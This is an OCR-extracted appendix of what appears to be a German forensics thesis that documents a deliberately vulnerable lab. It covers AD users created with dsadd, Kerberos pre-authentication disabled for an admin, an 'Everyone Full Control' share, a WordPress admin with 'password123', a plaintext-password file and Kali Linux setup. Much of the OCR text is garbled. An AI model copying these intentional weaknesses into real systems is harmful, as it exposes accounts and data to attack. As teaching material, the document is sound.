23 dsadd user "CN=Robert K1ein,0U=Praktikanten dc=forensik,dc=projekt,dc=Tocal” -disabled no -pwd "=7Vamos!' -upn robert.k]
24 dsmod group "CN=Domain Admins,CN=Users,DC=Forensik,DC=pr Ojckt DC=local” -addmbr "CH=Max Mustermann,0U=IT-Admins,DC=Faorens
25 dsmod group "CN=Domain Admins,CN=Users,DC=Forensik,DC=projekt,DC=local™ -addmbr "CN=Christian Meier,0U=IT-Admins,DC=Foren

user RODEr L R IE 1y F T 1R, UL=PI U JERLy UL=1UCA T —0ISd0 IS0 U —pWO -7 vamus ' —Upn FoDer L. ke
dsmod group omain Admins,C r t,DC=local” -addmbr “CN=Max Mustermann,0U=IT-Admins,DC=
dsmod group i i = r - =projekt,DC=local” -addmbr "CN=Christian Meier ,0U=IT-Admins,DC=Fforens

dsadd succeeded:

dsadd succeede Sales und Vertrweb dc—foren <y al

dsadd succeede -Assistenzen der Gefch“ftsfhrung,d =projekt,dc=local

dsadd succeede Gesch, ftsfhrung,dc=foren d DLal

dsadd succeede Lohnbuchhaltung,dc=Fforensik,

dsadd succeede b11d~nde dc=forensik,dc=pr

dsadd succeede

dsadd

dsadd

dsadd

dsadd

dsadd N=Peter M1ler,0U=5ales und Vertrieb,dc=Fo

dsadd N=Lisa Becher,DU=A55i5tenzen der Gesch a k,dc=projekt,dc=local

dsadd N=Hans Schmidt,0U=Gesch ftsfhrung,dc=Forens rojekt,dc=local

dsadd N=Max Mustermann,0U=IT-Admins,dc=forensi

dsadd

dsadd

dsadd

dsadd

dsadd

dsadd

nten dc forensik dc pro1ekt dc=local

CN=Users,DC faren41k DC=projekt,DC
CN=Users,DC=forensik,DC=projEkt,DC=1Dca1

Completed Ln52 Col 28 100%
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Der IT-Administrator Christian Meier erhalt die Fehlkonfiguration Don’t require
Pre Auth. Hierdurch ist es fur einen Angreifer mdglich, dass ein Hash des
Benutzers abgefragt werden kann, ohne dass der Angreifer das Passwort des
Benutzers kennt. Dies hangt mit der fehlenden Pre Authentifizierung am Key
Distribution Center (KDC) vom Active Directory zusammen, in diesem wird im
Normalfall das Benutzerkennwort in verschliisselter Form (New Technology Lan
Manager Hash - NTLM-Hash) mit einem Zeitstempel gesendet und validiert.
Sollte die Validierung erfolgreich sein, dann erhélt der Benutzer ein sogenanntes
Ticket Granting Ticket (TGT) vom KDC, mit welchem sich der Benutzer autorisiert

hat und bestimmte Dienste wie z. B. das Dateisystem nutzen kann. Bei einer
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fehlgeschlagenen Autorisierung wird die Anfrage abgelehnt.

Tools

Active Directory Administrative Center
Active Directory Domains and Trusts
Active Directory Module for Windows PowerShell

Active Directory Sites and Services

I Active Directory Users and Computers I
ADSI Edit

Component Services
Computer Management
Defragment and Optimize Drives
DHCP

Disk Cleanup

DNS

Ewvent Viewer

Group Policy Management
ISCSI Inthator

Local Security Policy
Microsoft Azure Services
QODEC Data Sources (32-bit)
QODBC Data Sources (64-hit)
Performance Monitor

Print Management

Recovery Dnive

Registry Editor

Resource Monitor

Services

Systemn Configuration

Systemn Information

Task Scheduler

Windows Defender Firewall with Advanced Security
Windows Memory Diagnostic
Windows PowerShell
Windows PowerShell (x86)
Windows PowerShell ISE
Windows PowerShell ISE (x86)

Windows Server Backup

1521

¢
Tl dx 07.06.2024
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Abbildung 144: Konfiguration des Domé&nen-Controllers 55/67

File  Action View Help
g | b= | @ = — 8 . =
e nH 4B XEdE BRI B aETa%
: Active Directory Users and Computers [PDC forensik.projekt.lo Type Description
- fSaved EUE”_ESH local hristian Meier User
S orensiprojettioca o Max Mustermann User
3| Assistenzen der Geschaftsfihrung
2 Auszubildende
| Builtin
| Computers
Domain Controllers Christian Meier Properties ? X
| ForeignSecurityPrincipals
2| Geschaftsfihrung Member Of Dialin Environment Sessions
Hurnan Resources Remote control Remote Desktop Services Profile COM=
General Address Account Profile Telephones Organization
| Managed Service Accounts User lagan name:
2] Praktikanten @farensik projekt local e
-: Projektleiter User logon name (pre-Windows 2000):
3] Sales und Vertrieh [FoRENSIK. | [ervistian meier
| Users
Logon Hours... LogOn To...
[ Unlock account
Account options
[ Use only Kerberns DES encryption types for this account ~
[] This account supports Kerberos AES 128 bit encryption.
[ This account supports Kerberos AES 256 bit encryption.
Do not require Kerberos preauthentication v
Account expires
(®) Never
() End of: | Sonntag . 7. Jui 2024
Cancel Apply Hep
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= Manage Local Disk (C:) — O %
Home Share View Drrive Tools e
« “ 4 im » ThisPC » Local Disk (C:) v & Search Local Disk (C P
Name Date modified Type
7 Quick access
Perflogs File folder
[ Desktop g
Program Files File folder
l' Downloads Program Files (x86) File folder
=] Documents Users File folder
| Pictures Windows File folder
[ This PC
B8 DVD Drive (D:) 555_Xt
¥ Network
View >
Sort by >
I Folder I
Group by >
#| Shortcut
Refresh
= Bitmap image
E g Paste
Contact
= Paste shortcut
Z| Rich Text Document
=] Text Document Give access to >
Compressed (zipped) Folder I Mew
< Properties
5items
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ia | | = | Local Disk (C:) - O x
Home Share View o
& - ~ 1 & > ThisPC » LocalDisk(C) » v O Search Local Disk (C P
Mame Date modified Type
7+ Quick access I 1
Daten 00 06 2004 Eile fnlder
[ Deskto
P Perflogs Open
; Downloads Program Files Open in new window
=| Documents Program Files (x86) Pin to Quick access
Pictures -
= Remove access I Give access to > I
[ This PC I 2 Specific people.. I Restore previous versions
X Include in library >
B4 DVD Drive (D:) 555_X¢ .
Pin to Start
e Network Send to >
Cut
Copy
Create shortcut
Delete
Rename
Properties
< >
Gitems 1 itern selected =
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2 Network access

Choose people on your network to share with

Type a name and then click Add, or click the arrow to find someone.

52, Everyone

I'm having trouble sharing

I Everyone] I v|| Add | |
MName Permission Level
3, Administrator Read/Write +
52, Administrators Chwner
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Daten Properties >

General Securty  Previous Versions Customize

Metwork File and Folder Sharing

Daten
Mat Shared

Metwork Path:
Mat Shared

Share...

Advanced Sharing

Set custom permissions, create multiple shares, and =et other
advanced sharing options.

| B Advanced Sharing...

Close Cancel Apply
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Advanced Sharing >

Share this folder

Settings
Share name:

| Daten |

Add Remove

Lirnit the number of simultaneous users to: 16777 =

Comments:

Cancel Apply
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Permissions for Daten *

Share Permissions

Group or user names:
2 Everyone

Add Remove
Permissions for Everyone Deny
Full Control |
Change O
Read 1

Cancel Aoply
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156



Anlagenverzeichnis und Anlagen

Daten Properties

General Sharing Previous Versions Customize

Object name:  C:\Daten

GI’DLID ar User names:

SR CREATOR OWNER

SR SYSTEM

SR Administrators (FOREMS K \Administrators)
SR Users (FORENSIKUsers)

To change permissions, click Edi.

Pemmizsions for Users Allow Derry

Full control 2
Maodify

Read & execute

List folder contents

Read

Write hd

Close Cancel Apply

For special permissions or advanced settings,
click Advanced.
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Permissions for Daten
Security
Object name:  C:\Daten

GI‘DLID ar User names:

x

SR CREATOR OWNER

SR SYSTEM

SR Administrators (FORENSIK\Administrators)
SR Users (FORENSIK\Users)

Remove

Pemissions for CREATOR

OWNER Deny

Full contral

Modify

Read & execute
Ligt folder contents
Read

OoOoOoo % E

OoOoOoo

6] Cancel Apply
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Select Users, Computers, Service Accounts, or Groups >

Select this object type:

|Users, Groups, or Builtin security principals | Object Types...

From this location:

|Furensik.pmjekt.local | Locations. ..

Enter the object names to select (examples):

Check Mames
Advanced... Cancel
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Permissions for Daten *
Security
Object name:  C:\Daten

GI‘OLID ar User names:

SR CREATOR OWNER
SR 5YSTEM

g E\t%ne I
&, Users [FORENSIK\Users)

Permissions for Everyone

Full contral

Madify

Read & execute
List folder contents
Read

Cancel Apply
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| [+ + | Daten — O
Home Share WView
&« =3 =~ P » This PC # Local Disk (C:) » Daten » w| 0 Search Daten
Mame Date modified Type
s Quick access
Auftrige File folder
[ Desktop J .
Baupldne File folder
; Downloads Rechnungen File folder

|5 Documents

|Z] Kundenadreszen Text Document

| Pictures

Daten

3 This PC

1015

T ds 09.06.2024
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14.1.2 Ubuntu Server

33
Das Betriebssystem Ubuntu Server wird Uber die offizielle Herstellerseite in
der Version 24.04 LTS heruntergeladen (siehe Abbildung 157). Nach dem der

Download abgeschlossen ist, wird anschlieend die Installation durchgefiihrt

33
https://ubuntu.com/download/server
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(siehe Abbildung 158 - Abbildung 172).

<€) Downloads Desktop ~ Server  Core  Cloud

Get Ubuntu Server

Manual installation Instant VMs Automated provisioning

b The latest LTS version of Ubuntu Server. LTS stands for long-term support — which
U U ﬂ tU 2 4 . 04 LTS means five years of free security and maintenance updates, extended to 10 years

with Ubuntu Pro.

Download 24.04 LTS  [el{e]

A Alternative downloads »

4
(S\i 5;) Alternative architectures »

()

Abbildung 157: Download von Ubuntu Server

Willkommen! Bienvenue! Welcome! Aofpo no aTe ! He n! [ Help ]

UP, DOWN and ENTER b cT your

L]
L]
L]
L]
L]
L]
L]
L]
L]
L]
L]
L]
L]
L]
L]
L]
L]
»-
L]
L]
L]
L]
L]
L]
L]
L]

Abbildung 158: Installation von Ubuntu Server 1/15
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[ Help 1

1 is currently

, the update will be downloaded and the installation

[ Help ]

Abbildung 160: Installation von Ubuntu Server 3/15
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type of install
the 2 for the installation.

Eer

buntu {minimized)

Additional options

[1] ch for third-partu dri

[ Help 1

Abbildung 162: Installation von Ubuntu Server 5/15
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[ Help 1

to connect to the internet, enter its details

ive mirror

/e mirror for Ubuntu, enter ails here.

http://de.archive.ubuntu. com/ubuntus

Abbildung 164: Installation von Ubuntu Server 7/15
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Guide
Configure Liid C a om one:
an entire
local di

Set up this d

[ 1 Encrupt the LV up with LU

new
neuw

LM wolume group

new, to he formatted

Abbildung 166: Installation von Ubuntu Server 9/15
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~e you want to continue?

[ Mo ]
[ Continue ]

Abbildung 167: Installation von Ubuntu Server 10/15

superadmin

webserverol

superadmin

[tttk

Canfirm your d: e

[ Done

Abbildung 168: Installation von Ubuntu Server 11/15
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[ about Ubuntu Pro * ]
Enable Ubuntu Prao

p for now

[ Help 1

to enable Ire remote

Abbildung 170: Installation von Ubuntu Server 13/15
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t-relation

»-
»-
»

- -
»-
»-
»
»-
»-
»-
»-
»-
»-
»-
»-
»-
»-
»-
»-
»-
»-

for Li

Abbildung 171: Installation von Ubuntu Server 14/15

[ Help 1

from c mpAtmpwd 11h41_/

Abbildung 172: Installation von Ubuntu Server 15/15
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Nachdem die Installation von Ubuntu abgeschlossen ist, wird das Content

Management System WordPress34 installiert und konfiguriert (siehe Abbildung
173 - Abbildung 186).

34
https://wordpress.com/de/
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Abbildung 174: Installation und Konfiguration von WordPress 2/14

GHU nano 6.2 Jefc/apachezssites-avalilahleswordpress. conf

irtualHo

Follows
ide Limit 0Op

ite wordpr H nmod rewrite

n, you need to run:

you need to run:

on, You need to run:

Abbildung 176: Installation und Konfiguration von WordPress 4/14
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.1 (Ubuntu)

ffilia

"or "sh'ofor help. Tupe '

Abbildung 178: Installation und Konfiguration von WordPress 6/14
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GMU nano 6.2 SsrwS s wordoress wp-cont 12, pho
define{ 'DE_CHARSET', 1

'DE_COLLATE',

tion |
o To Line 4

T, 'ut

define( 'DBE_COLLATE', '' J;

Abbildung 180: Installation und Konfiguration von WordPress 8/14
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dming ip
mtu £55 i s ate L ault glen

id_1ft for

p default glen 10

ool

C: scope link
te '

if't. for

~ | @ WordPress» Installation x  +

€« Cc & Motsecure  192.168.237.12

goooooo

Bosanski

Catala

Cebuano

Cestina

Cymraeg

Dansk

Deutsch (Schweiz)
Deutsch (Schweiz, Du)
Deutsch (Osterreich)
Deutsch (Sie)
Dolnoserbscina
aoooooo

EMnVIKG <

Abbildung 182: Installation und Konfiguration von WordPress 10/14
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~¥ @ WordPress» Installation x | +

& C A Notsecure 192.168.237.129

Willkommen

Willkemmen bei der beriihmten 5-Minuten-Installation von WordPress! Gib unten einfach die benétigten
Informationen ein und schon kannst du starten mit der am besten erweiterbaren und leistungsstarken
persénlichen Versffentlichungsplattform der Welt.

Bendtigte Informationen

Bitte trage die folgenden Informationen ein. Keine Sorge, du kannst all diese Einstellungen spater auch wieder

andern.
Titel der Website IForensik Projekt I I
Benutzername Imax.mustermann I

Benutzernamen diirfen nur alphanumerische Zeichen, Leerzeichen, Unterstriche,
Bindestriche, Punkte und das @-Zeichen enthalten.

Passwort Ob#QgcYM*VRd (mgEES

Stark

Wichtig: Du wirst dieses Passwort zum Anmelden brauchen. Bitte bewahre es an einem

sicheren Ort auf.

Deine E-Mail- Imax.mustermann@forensik.projekt.local I
Adresse

Bitte liberpriife nochmal deine E-Mail-Adresse auf Richtigkeit, bevor du weitermachst.

Sichtbarkeit fiir Suchmaschinen daven abhalten, diese Website zu indexieren
Suchmaschinen

Es ist Sache der Suchmaschinen, dieser Bitte nachzukommen.

I WordPress installieren I

Abbildung 183: Installation und Konfiguration von WordPress 11/14
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~ | @ WordPress» Installation x | +

< c A Mot secure  192.168.237.129/wp-admin/insta

Installation erfolgreich!

WordPress wurde installiert. Vielen Dank, und nun viel Spali!

Benutzername max.mustermann
Passwort Das uonl dir gewshlte Passwort.
Anmelden

Abbildung 184: Installation und Konfiguration von WordPress 12/14
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~ | @ Dashboard « Forensik P

& C A Notsecure 192.168.237.

@ F ekt W + Neu

@& Dashboard Dashboard

Startseite

erungen

Willkommen bei WordPress!

Erfahre mehr Giber die Version 6.5.3.

K Plugins

Erstelle umfangreiche Inhalte mit Blécken ﬂ Passe deine gesg

und Vorlagen Themes an
Block-Vorlagen sind vorkonfigurierte Block-Layouts. Nutze Gestalte alles auf deine
sie, um dich inspirieren zu lassen oder im Handumdrehen neue mit Blécken und Vorlagq

Seiten zu erstellen.

or Bffr

Zustand der Website VoA Schneller Entwurf AV A
In regelméaBigen Abstanden werden Titel
automatisch Tests zum Website-
Zustand durchgefihrt, um
Noch keine Informationen iber deine Website zu nhalt
Information ... sammeln. Du kannst auch die Seite
Website-Zustand besuchen, um jetzt Was beschaftigt dich?

Informationen iiber deine Website zu
sammeln

29/wp-admin/user-new.php

Abbildung 185: Installation und Konfiguration von WordPress 13/14
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@ Neuen Benutzer hinzuf x|+

c A Notsecure 192.168.237.129/v

@ Fo =+ Neu

Sl Neuen Benutzer hinzufiigen

Lege einen neuen Benutzer an und flige ihn dieser Website hinzu.

Medien

Benutzername (erforderlich) | anna.schmidt |
Kommentare
. E-Mail (erforderlich) | anna.schmidt@forensik.projekt.local |
Design
Plugins Vorname | Anna |
aa Benutzer
Machname | Schmidt |
Neuen Benutzer .
hinzufiigen Website | |
Sprache Gy | Website-Einstellung  w

Einstellungen

Passwort Passwort generieren

passwordl23 @ Verbergen

Ganz schwach

Passwort bestitigen [+ Besttige die Verwendung eines schwachen Passworts
Benutzer benachrichtigen () Dem neuen Benutzer eine E-Mail zu seinem Konto senden

Administrator

Rolle

Neuen Benutzer hinzufiigen

Abbildung 186: Installation und Konfiguration von WordPress 14/14
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[  Ubuntu_Server - VMware Workstation

Eile Edit View VM Tabs Help

Power

@ C

Removable Devices >

Pause Ctrl+Shift+P

tm Send Ctrl+Alt+Del
Grab Input Ctrl+G
55H 3
lﬁ‘ Snapshot >
Capture Screen Ctrl+Alt+Prt5cn

Manage

Abbildung 187: Anpassung der Netzwerkadapter 1/5

Virtual Machine Settings X

Hardware Qptions

Device Summary EooEEnE

E=memory aGE USB compatibility: ' USB 2.0 ~

2 FProcessors 2 Show all USE input devices

|_4 Hard Disk (SCSI) 50 GB Share Bluetooth devices with the virtual machine
(+) CD,/DVD (SATA) Using file C:\Users\Bjorn\Dow...

S Network Adapter MAT

\:| USB Controller Present

]9 Sound Card Auto detect

@ Printer Present

[pisplay Auto detect

Remove

Cancel Help

Abbildung 188: Anpassung der Netzwerkadapter 2/5
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Add Hardware Wizard bt

Hardware Type
What type of hardware do you want to install?

Hardware types: Explanation

=\Hard Disk Add a network adapter.

P

(") CD/DVD Drive
E‘ - .
Erﬂetwurk Adapter
"=|USE Controller
£}t Sound Card
Parallel Port
Serial Port
Generic SCSI Device
{E, Trusted Platform Module

Abbildung 189: Anpassung der Netzwerkadapter 3/5

Virtuzl Machine Settings *
Hardware QOptions
Device status
Device Summary
EMemory acE Connected
“.EPTUEESSUI'S 2 ' Connect at power on
[=}Hard Disk (5C51) 50 GB
(%) CDJDVD (SATA) Using file C:\Users'Bjérn\Dow... Network connection
MAT (") Bridged: Connected directly to the physical network
NAT Replicate physical network connection state
Present
<]t Sound Card Auto detect (CINAT: Used to share the host's IP address
[ Printer Present (") Host-only: A private network shared with the host
[loisplay Auto detect © Custom: Specific virtual network
VMnet2 e
(_)LAN segment:
LAM Segments...  Advanced...
Add... Remove
Cancel Help

Abbildung 190: Anpassung der Netzwerkadapter 4/5
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do dhclient er

OWM group default oglen

fo_codel te UP group default glen |

hal dynamic

fo_codel te R up default glen !

2, 168.1 : glohal dynamic e
rred_Lft 6

Abbildung 191: Anpassung der Netzwerkadapter 5/5

GNU nano 6.2 Jhomessuperadmingtodo. txt

ubildenden Robert Klein andern

Read 1 line ]

B Write out @ HWhere Is 4 Cut ; e Locat ion Undo
"R d File @ ] bifuy To Line jiEd R

Abbildung 192: Erstellung einer Textdatei mit Klartextkennwort

14.1.3 Windows Client

35 .
Im ersten Schritt wird das Media Creation Tool von Microsoft heruntergeladen,

welches eine Windows 10 Speicherabbild (ISO) erstellt, welches fir den
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Installationsprozess innerhalb einer virtuellen Maschine benétigt wird. Danach
folgt die Installation, die identisch zu Schritten aus Abbildung 81 bis Abbildung 89

ist.

35
https://www.microsoft.com/de-de/software-download/windows10
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Sie mochten Windows 10 auf Ihrem PC installieren?

Zundchst bengtigen Sie eine Lizenz zur Installation von Windows 10. AnschlieBend kénnen Sie das Media
Creation Tool herunterladen und ausfiihren. Weiter unten finden Sie Anweisungen mit ndheren Informationen
zur Verwendung dieses Tools.

Datenschutz

@ Upgrade dieses PCs auf Windows 10 mithilfe des Tools (zum Anzeigen von mehr oder weniger Informationen hier klicken)

@ Verwenden dieses Tools zum Erstellen von Installationsmedien (USB-Laufwerk, DVD oder I1SO-Datei) fiir die Installation von Windows 10 auf einem anderen PC
(zum Anzeigen von mehr oder weniger Informationen hier klicken)

Abbildung 193: Download des Media Creation Tools

¥ Windows 10 Setup — X

Anwendbare Rechtshinweise und
Lizenzbedingungen

Bitte lesen Sie die Bedingungen, bevor Sie ihnen zustimmen,

MICROSOFT-SOFTWARE-LIZENZBESTIMMUNGEN
MICROSOFT MEDIA CREATION TOOL

WERNN SIE THREN WOHNSITZ IN DEN VEREINIGTEN STAATEN HABEN (ODER EIN UNTERNEHMEN MIT
HAUPTSITZ IN DEN VEREINIGTEN STAATEN SIND), LESEN SIE BITTE DIE KLAUSEL ,BINDENDES
SCHIEDSVERFAHREN UND VERZICHT AUF SAMMELKLAGEN" UNTEN. DIES BETRIFFT DIE BEILEGUNG
VON RECHTSSTREITIGKEITEN.

Diese Lizenzbestimmungen sind ein Vertrag zwischen Thnen und der Microsoft Corporation (oder einem
mit Microsoft verbundenen Unternehmen). Sie gelten fiir die oben bezeichnete Software und alle
Updates von Microsoft-Diensten und -Software (insoweit nicht solche Dienste oder Updates von neuen
oder zusatzlichen Bestimmungen begleitet werden, in welchem Fall diese anderen Bestimmungen
prospektiv wirken und Thre und die Rechte von Microsoft beziiglich der Software oder Dienste vor dem
Update nicht beriihren). WENN SIE DIESE LIZENZBESTIMMUNGEN EIMHALTEN, VERFUGEN SIE UBER DIE
NACHFOLGEND AUFGEFUHRTEN RECHTE. INDEM SIE DIE SOFTWARE NUTZEM, ERKENNEM SIE DIESE

Datenschutzbestimmungen

B® Microsoft  Support Rechtshinweise Ablehnen Akzeptieren

Abbildung 194: Ausfiihrung des Media Creation Tools 1/6
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5 Windows 10 Setup - X

Wie mochten Sie vorgehen?

(O Jetzt Upgrade fur diesen PC ausfiihren

O |Installationsmedien (USB-Speicherstick, DVD oder ISO-Datei) fir einen anderen PC erstelle)

B® Microsoft  Support Rechtshinweise Zuriick

Abbildung 195: Ausfiihrung des Media Creation Tools 2/6

®5 Windows 10 Setup = s

Sprache, Architektur und Edition auswahlen

Wiahlen Sie eine der verfigbaren Opticnen aus, um den Vergang fertzusetzen,

Sprache Deutsch
Edition windows 10
Architektur 64-Bit (x64)

@ Empfohlene Opticnen fiir diesen PC verwenden:

BE Microsoft  Support Rechtshinweise Zuriick

Abbildung 196: Ausfuhrung des Media Creation Tools 3/6
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5 Windows 10 Setup

/U verwendendes Medium auswahlen

Fallz Sie Windows 10 auf einer anderen Partition installieren machten, missen Sie zur Installation das Medium
erstellen und anschlieBend ausfihren,

(O USB-Speicherstick

Es sind mindestens & GB erforderlich,

Sie missen die [SO-Datei spater auf eine DVD brennen.

BE Microsoft  Support Rechtshinweise Zuriick

Abbildung 197: Ausfuhrung des Media Creation Tools 4/6

58 Windows 10 Setup

Windows 10 wird heruntergeladen

Sie kénnen lhren PC weiterhin verwenden.

Status: 0%

BB Microsoft  Support Rechtshinweise Furiick Neiter

Abbildung 198: Ausfuhrung des Media Creation Tools 5/6
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ISO-Datei auf eine DVD brennen

i Users" Desktop\Windows.isci

DVD-Brenner éffnen

BB Microsoft  Support Rechtshinweise Zuriic Fertig stellen

Abbildung 199: Ausfuhrung des Media Creation Tools 6/6

Im néchsten Schritt erfolgt der Beitritt des Computers innerhalb der Domane,
sowie die restliche Konfiguration zur Nutzung des Netzlaufwerks fur die
Unternehmensdaten (siehe Abbildung 200 - Abbildung 205Fehler!

Verweisquelle konnte nicht gefunden werden.).
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BN Administrator: Windows PowerShell —

Abbildung 200: Konfiguration des Windows Clients 1/6

Geben Sie Thre Anmeldeinformationen ein.

Benutzername: | Acministrator

Kennwort: | [TTITTITT]

oft Corporation. Alle Rechte worbehalten.
e plattformibergreifende Pe shell kennen - http

32> Add-Computer

Abbildung 201: Konfiguration des Windows Clients 2/6
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FORENSIK\hans.schmidt

Abbildung 202: Konfiguration des Windows Clients 3/6

E | |ﬂ | e e
Erweitern
:
Verwalten
« N An "Start" anheften
I Metzlaufwerk verbinden.., I
v ¥ Schne In neuem Fenster 6ffnen
B Desk An Schnellzugriff anheften Bl
* Dow Metzlaufwerk trennen... —_
<) Doku Metzwerkadresse hinzufiigen o
=] Bilde Laschen
J’ Musi Umbenennen
Yides
B Vide Eigenschaften
» [ Dieser PC .
- ~ Gerdte und Laufwerke (2)
E? Metzwerk - Lokaler Datentrager (C:) - 0
im . B o
Ty 81,5 GB frei von 99,3 GB i

Lo 1049
~ 8 o500

Abbildung 203: Konfiguration des Windows Clients 4/6

186



Anlagenverzeichnis und Anlagen

% Netzlaufwerk verbinden

Welcher Netzwerkordner soll zugeordnet werden?

Bestimmen Sie den Laufwerkbuchstaben fir die Verbindung und den Ordner, mit dem die Verbindung
hergestellt werden soll:

Laufwerk: Fi]

Ordner:  [|M\PDC\Daten| )

w

Durchsuchen...

Beispiel: \\5erver\Freigabe
[ Verbindung bei Anmeldung wiederherstellen

[JVerbindung mit anderen Anmeldeinformationen herstellen

Verbindung mit einer Website herstellen, auf der Sie Dokumente und Bilder speicher:
kénnen

Abbrechen

Abbildung 204: Konfiguration des Windows Clients 5/6

i | |ﬂ = | Dieser PC

Computer Ansicht

F v [ 5 DieserPC
w gk Schnellzugriff ™ Ordner (7)
[ Desktop 3D-Objekte
; Downloads - '
= Dokumente o, Dokumente
&= Bilder \j—|
By Musik
Vid
B videos ﬁ ees
. Onelrive ..
~ Gerdte und Laufwerke (2)
> [ Dieser PC Lokaler Datentrager (C:)
= .
oF Metzwerk oy 81,4 GB frei von 99,3 GB

~ Netzwerkadressen (1)

Daten (WWPDC) (Z:)
[ |

™ 553 GB freivon 99,3 GB

Abbildung 205: Konfiguration des Windows Clients 6/6

14.1.4 Windows Server - Backupserver
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Zur Installation des Domain Controllers wird eine Testversion von dem

Betriebssystem Windows Server 2019 % aus der offiziellen Microsoft Webseite
heruntergeladen (siehe Abbildung 81). Die Installation ist komplett identisch von
Abbildung 82 - Abbildung 89.

Nachdem das Betriebssystem installiert wurde, folgt die Umbenennung des
Computers in BACKUPOL und der Beitritt in die Domane (siehe Abbildung 201
und Abbildung 202).

Die Netzwerkfreigabe ,Daten“ des Domanen-Controllers, wird nachdem der
Computer der Domane beigetreten ist, eingebunden (siehe Abbildung 203 -
Abbildung 205).

14.2 Installation der Angriffsumgebung

Das Betriebssystem Kali Linux 37Wird Uber die offizielle Herstellerseite in der
Version 2024.01 heruntergeladen (siehe Abbildung 206 - Abbildung 208).

36
https://www.microsoft.com/en-us/evalcenter/download-windows-server-2019

37
https://www.kali.org/
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The most advanced
Penetration Testing Distribution

Kali Linux is an open-source, Debian-based Linux distribution
geared towards various information security tasks, such as
Penetration Testing, Security Research, Computer Forensics and

Reverse Engineering.

it m

Abbildung 206: Download von Kali Linux 1/3

Choose your Kali

LIGHT . DARK

Virtual Machines

X

X

Single or multiple boot Kali, giving you complete VMware & VirtualBox pre-built images. Allowing for a

control over the hardware access (perfect for in-built Kali install without altering the host OS with additional

Wi-Fi and GPU), enabling the best performance. features such as snapshots. Vagrant images for quick
spin-up also available.

£ Recommended % Recommended

Abbildung 207: Download von Kali Linux 2/3
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Our previous Kz

Kali Linux 2024.1 Changelog *

[ 64bit 32-bit Apple Silicon (ARM64)

Complete offline installation
with customization

Abbildung 208: Download von Kali Linux 3/3

Eine neue virtuelle Maschine wird nun erzeugt, hierbei muss darauf geachtet
werden, dass der Netzwerk Adapter auf Network Address Translation (NAT)

stehen muss, damit die virtuelle Maschine, Zugang zum Internet besitzt und die

38
weitere Einrichtung des Betriebssystems uber Yggdrasil erfolgen kann. Die

38
https://github.com/Jarl-Bjoern/Yggdrasil
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Installation ist aus den folgenden Bildern (Abbildung 209 - Abbildung 231) zu

entnehmen.
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Rali Linux installer menu (BIOS mode)

1ical install
Install
Advanced options
fcecessible dark contrast installer menu
Installl with speech synthesis

(s

R —

Press a key, otheruwise speech synthesis will be started in 26 seconds sfre—=

Abbildung 209: Installation von Kali Linux 1/23

| KALI I

Select a language

Choose the language to be used for the installation process. The selected language will also be the default
language for the installed system.

Language:

e B B e [~
Chinese (Traditional) - =x(g8)

Croatian - Hrvatski

Czech - Cestina

Danish - Dansk H
Dutch - Nederlands [}

Dzongkha - Em

Esperanto - Esperanto

Estonian - Eesti

Finnish - Suomi

French - Francais

Galician - Galego

Georgian - Jathoymn

German - Deutsch [~]

| Screenshot | Go Back Continue

Abbildung 210:
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KALI

Select your location

The selected location will be used to set your time zone and also for example to help select the system locale.
Normally this should be the country where you live.

This is a shortlist of locations based on the language you selected. Choose "other" if your location is not listed.
Country, territory or area:

India o
Ireland ]
Israel

New Zealand
Nigeria
Philippines
Seychelles
Singapore
South Africa

United Kingdom
United States
Zambia

Zimbabwe

e
n_ =@ @ @ @@ - 3
[ Go Back ]I Continue I

Abbildung 211: Installation von Kali Linux 3/23

KALI

Select your location

The selected location will be used to set your time zone and also for example to help select the system locale.
Normally this should be the country where you live.

Select the continent or region to which your location belongs.
Continent or region:

Africa

Antarctica

Asia

Atlantic Ocean

Caribbean

Central America

Indian Ocean
North America
Oceania

South America

Go Back ]I Continue I

Abbildung 212: Installation von Kali Linux 4/23
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KALI

Select your location

The selected location will be used to set your time zone and also for example to help select the system locale.
Normally this should be the country where you live.

Listed are locations for: Europe. Use the <Go Back> option to select a different continent or region if your
location is not listed.
Country, territory or area:

[>)

Faroe Islands
Finland
France
Georgia

Germany =

Gibraltar

Gl

Greece

Greenland

Guernsey

Holy See (Vatican City State)
Hungary

Iceland

Iraland .

Screenshot ] Go Back Continue

Abbildung 213: Installation von Kali Linux 5/23

KALI

Configure locales
There is no locale defined for the combination of language and country you have selected. You can now select
your preference from the locales available for the selected language. The locale that will be used is listed in
the second column.
Country to base default locale settings on:
= =
Hong Kong - en_HK.UTF-8 |
India - en_IN
Ireland - en_IE.UTF-8
Israel - en_L ]
New Zealand - en_NZ.UTF-8
Nigeria - en_NG
Philippines - en_PH.UTF-8
Seychelles - en_SC.UTF-8
3 Singapore - en_SG.UTF-8 3
South Africa - en_ZA.UTF-8
United Kingdom - en_GB.UTF-8
Zambia - en_ZM
Zimbabwe - en_ZW.UTF-8 ]
[ Screenshot ] [ Help ] [ Go Back ] I Continue I

Abbildung 214: Installation von Kali Linux 6/23
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| KALI I

Configure the keyboard

Keymap to use:

Dvorak
Dzongkha
Esperanto
Estonian
Ethiopian
Finnish

French

-

Greek
Gujarati
Gurmukhi
Hebrew
Hindi
Hungarian

Icelandic

Georilan

[>]

-

Go Back ]I Continue I

Abbildung 215: Installation von Kali Linux 7/23

| KALI |

Load installer components from installation media

Retrieving partman-basicmethods

-r

Abbildung 216: Installation von Kali Linux 8/23
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KALI

Configure the network
Please enter the hostname for this system.

The hostname is a single word that identifies your system to the network. If you don't know what your
hostname should be, consult your network administrator. If you are setting up your own home network, you
can make something up here.

Hostname:

[ kali

| Screenshot |

Go Back Continue

Abbildung 217: Installation von Kali Linux 9/23

KALI

Configure the network

The domain name is the part of your Internet address to the right of your host name. It is often something
that ends in .com, .net, .edu, or .org. If you are setting up a home network, you can make something up, but
make sure you use the same domain name on all your computers.

Domain name:

b | Screenshot |

Go Back Continue

Abbildung 218: Installation von Kali Linux 10/23
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KALI

Set up users and passwords

A user account will be created for you to use instead of the root account for non-administrative activities.

Please enter the real name of this user. This information will be used for instance as default origin for emails
sent by this user as well as any program which displays or uses the user's real name. Your full name is a
reasonable choice.

Full name for the new user:

I Jarl-Bjoern| I

Screenshot J

Go Back Continue I

Abbildung 219: Installation von Kali Linux 11/23

KALI

Set up users and passwords

Select a username for the new account. Your first name is a reasonable choice. The username should start

with a lower-case letter, which can be followed by any combination of numbers and more lower-case letters.
Username for your account:

I jarl-bjoern I

Screenshot ]

Go Back ]I Continue I

Abbildung 220: Installation von Kali Linux 12/23
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KALI

Set up users and passwords

A good password will contain a mixture of letters, numbers and punctuation and should be changed at
regular intervals.

Choose a password for the new user:

[] Show Password in Clear

